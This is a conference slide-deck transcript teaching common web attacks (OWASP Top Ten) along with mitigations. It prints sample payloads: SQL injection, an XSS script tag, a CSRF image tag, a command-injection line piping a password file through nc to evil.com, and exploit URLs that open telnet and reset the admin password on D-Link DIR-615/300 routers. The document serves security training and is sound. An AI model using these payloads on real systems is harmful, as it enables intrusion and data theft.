attacking web applications
DESCRIPTION
In this session we review the most common attacks against web applications, based on the OWASP Top Ten list. We explore examples of OS command injection, XSS, CSRF, information disclosure, bad password storage practices, incorrect session management techniques and other vulnerabilities making your application susceptible to attacks.TRANSCRIPT
Attacking Web Applications
Sasha Goldshtein
CTO, Sela Group
@goldshtn blog.sashag.net
Join the conversation on Twitter: @SoftArchConf #SoftArchConf
Every web developer must be aware of the most common web attacks, risks, and mitigations.
Don’t fly blind.
Join the conversation on Twitter: @SoftArchConf #SoftArchConf
Typical Risks
• Exposure of user information– Passwords, emails, identity theft
• Direct financial gain– Credit card details
• Creating a botnet– Using servers/user systems for malicious
activity
• Denial of service
Join the conversation on Twitter: @SoftArchConf #SoftArchConf
Are they really after me?
1. They could be, if you’re important.2. They are after your users.3. They found you randomly on the web.
Join the conversation on Twitter: @SoftArchConf #SoftArchConf
OWASP Top Ten1. Injection
2. Broken auth and session management
3. Cross-site scripting
4. Insecure direct object references
5. Security misconfiguration
6. Sensitive data exposure
7. Missing function level access control
8. Cross-site request forgery
9. Using vulnerable components
10.Unvalidated redirects and forwards
Join the conversation on Twitter: @SoftArchConf #SoftArchConf
SQL Injection
• Suppose the user request parameter is …
' or '1'='1• Then the query we execute is … (note that and has precedence over or)
select * from users where name='' or '1'='1' and password='whatever'
db.ExecuteReader("select * from users where name='"
+ Request["user"] + "' and password='"+ Request["password"] + "'");
Join the conversation on Twitter: @SoftArchConf #SoftArchConf
Join the conversation on Twitter: @SoftArchConf #SoftArchConf
OS Command Injection
• Suppose we’re too lazy to perform DNS lookup, so we resort to the following:
• Suppose the hostname parameter is …foo || cat /etc/password | nc evil.com
• Then we end up sending the password file to evil.com!
• Most recent noisy exploit 10/9/2013
system("nslookup " + Request["hostname"]);
Join the conversation on Twitter: @SoftArchConf #SoftArchConf
DEMOSQL injection and OS command injection
Join the conversation on Twitter: @SoftArchConf #SoftArchConf
Mitigating Injections
• DO NOT trust user input
• DO NOT run code provided by the user
• DO NOT use blacklists for validation
• DO use SQL query parameters (?, @param, :param)
• DO use whitelists and regexes for validation
• DO fuzz your code with invalid input
Join the conversation on Twitter: @SoftArchConf #SoftArchConf
Sessions and URLs
• DO NOT embed session id in URLs• DO NOT trust cookie contents• DO NOT trust URL query string contents• DO NOT use predictable session ids
http://example.com/cart.php?sess=127
• DO use a Secure, HttpOnly cookie for session id
• DO use long, random session ids
Join the conversation on Twitter: @SoftArchConf #SoftArchConf
DEMOExploiting vulnerable session information
Join the conversation on Twitter: @SoftArchConf #SoftArchConf
Use HTTPS Correctly
• DO NOT send sensitive information over HTTP
• DO NOT display login pages over HTTP
• DO NOT load HTTP frames/scripts/images in an otherwise HTTPs page
• DO insist on pure HTTPS for sensitive pages
Join the conversation on Twitter: @SoftArchConf #SoftArchConf
DEMOManipulating HTTP traffic
Join the conversation on Twitter: @SoftArchConf #SoftArchConf
Storing Sensitive Information
• DO NOT store anything you don’t have to store– Least responsibility principle
• DO comply with regulation for secure storage– E.g. if you store credit card details, you’re in
for some pain
Join the conversation on Twitter: @SoftArchConf #SoftArchConf
Password Storage
• DO NOT store passwords in clear text
• DO NOT store encrypted passwords
• DO hash and salt passwords
• DO reject weak passwords during signup
• DO consider using OAuth
• DISCUSS which hash function to use– Super-slow (bcrypt) – subject to DOS– Super-fast (MD5, SHA1) – subject to cracking
Join the conversation on Twitter: @SoftArchConf #SoftArchConf
DEMORainbow tables and weak passwords
Join the conversation on Twitter: @SoftArchConf #SoftArchConf
Cross-Site Scripting (XSS)
• Injecting JavaScript into pages viewed by other users– Cookie stealing, information disclosure– DOM manipulation, tricking the user
• Temporary XSShttp://bad.com/?q=<script>alert(1);</script>
• Persistent XSS– You provide data to the server which is then
permanently displayed when users visit
Join the conversation on Twitter: @SoftArchConf #SoftArchConf
DEMOPersistent and temporary XSS
Join the conversation on Twitter: @SoftArchConf #SoftArchConf
Cross-Site Request Forgery (CSRF)
• Use the fact that the user is already authenticated to a website to generate requests on his behalf
<img src="http://forum.com/delete_profile.php?confirmed=True" />
• Interesting variation: use CSRF to login into YouTube with the attacker’s credentials; then, Google history is stored into the attacker’s account
Join the conversation on Twitter: @SoftArchConf #SoftArchConf
DEMOCSRF
Join the conversation on Twitter: @SoftArchConf #SoftArchConf
70 Ways To Encode <
Join the conversation on Twitter: @SoftArchConf #SoftArchConf
Mitigating XSS and CSRF
• DO NOT trust user input (déjà vu?)
• DO NOT allow GETs to modify state
• DO NOT rely on blacklists
• DO escape and sanitize HTML provided by the user
• DO generate anti-CSRF tokens and validate them
• DO validate Referer headers
Join the conversation on Twitter: @SoftArchConf #SoftArchConf
Admin Consoles
• DO NOT leave admin consoles exposed to the Internet
• DO NOT provide “extra helpful” troubleshooting info
• DO restrict admin consoles to local network only
• DO whitelist IP addresses if absolutely necessary
Some auth cookies… yum!
Some auth cookies… yum!
Join the conversation on Twitter: @SoftArchConf #SoftArchConf
DEMOLocating ELMAH error pages through Google
Join the conversation on Twitter: @SoftArchConf #SoftArchConf
DLink DIR-615 and DIR-300Part 1
• OS command injectionhttp://<IP>/tools_vct.xgi?set/runtime/switch/
getlinktype=1&set/runtime/diagnostic/pingIp=1.1.1.1`telnetd`&pingIP=1.1.1.1
• CSRF to change admin password and enable remote administration (Internet-facing)
http://<IP>/tools_admin.php?ACTION_POST=1&apply=Save+Settings&admin_name=admin&admin_password1=admin1&admin_password2=admin1&grap_auth_enable_h=0&rt_enable=on&rt_enable_h=1&rt_ipaddr=0.0.0.0&rt_port=8080
Join the conversation on Twitter: @SoftArchConf #SoftArchConf
DLink DIR-615 and DIR-300Part 2
• Information disclosurehttp://<IP>/DevInfo.txt
• Insecure password storage$ cat var/etc/httpasswdadmin:admin
Join the conversation on Twitter: @SoftArchConf #SoftArchConf
Summary & Call To Action
• Be aware of security risks and typical vulnerabilities
• Ensure your developers get up to date security training
• Review code for security, not just correctness
• If your web app is secure, attackers will try other routes
Thank You!
Sasha Goldshtein
CTO, Sela Group
@goldshtn blog.sashag.net